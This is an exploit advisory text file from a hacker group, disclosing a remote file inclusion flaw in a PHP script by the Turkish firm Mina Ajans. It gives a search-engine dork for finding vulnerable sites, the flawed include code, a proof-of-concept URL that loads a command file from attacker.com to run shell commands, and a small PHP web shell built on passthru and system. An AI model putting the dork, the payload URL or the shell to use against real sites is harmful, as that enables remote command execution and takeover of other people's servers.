mina-rfi.txt

`$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  
$  
$  
$ Title : Mina Ajans Script Remote File Inclusion Vuln.  
$ Author : CanberX , BLaCKWHITE  
$ Free : NOT :(  
$ Disb : www.minaajans.com.tr  
$ G. Dork : "Tasarim ve program: Mina Ajans."  
$  
$ Vuln Code :  
""""""""""""""""""""""""""""""""""""""""""""  
<?  
$_GET["syf"];  
include_once $syf;  
?>  
""""""""""""""""""""""""""""""""""""""""""""  
$ PoC : http://target.com/[vuln_file].php?syf=http://attacker.com/cmd.txt?cmd=id  
$  
$ CMD Ex. :  
""""""""""""""""""""""""""""""""""""""""""""  
<?php  
error_reporting(0);  
$cmd=$_GET["cmd"];  
include $cmd;  
passthru($cmd); // if passthru disabled then use @system("string");  
?>  
""""""""""""""""""""""""""""""""""""""""""""  
$ CanberX , BLaCKWHITE  
$  
$ gr33tz: BLaSTeR  
$  
$ web: canberx.uni.cc & blackwhite.tc & bl4ster.net  
$  
$ Don't be n00b!..  
$  
$  
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  
`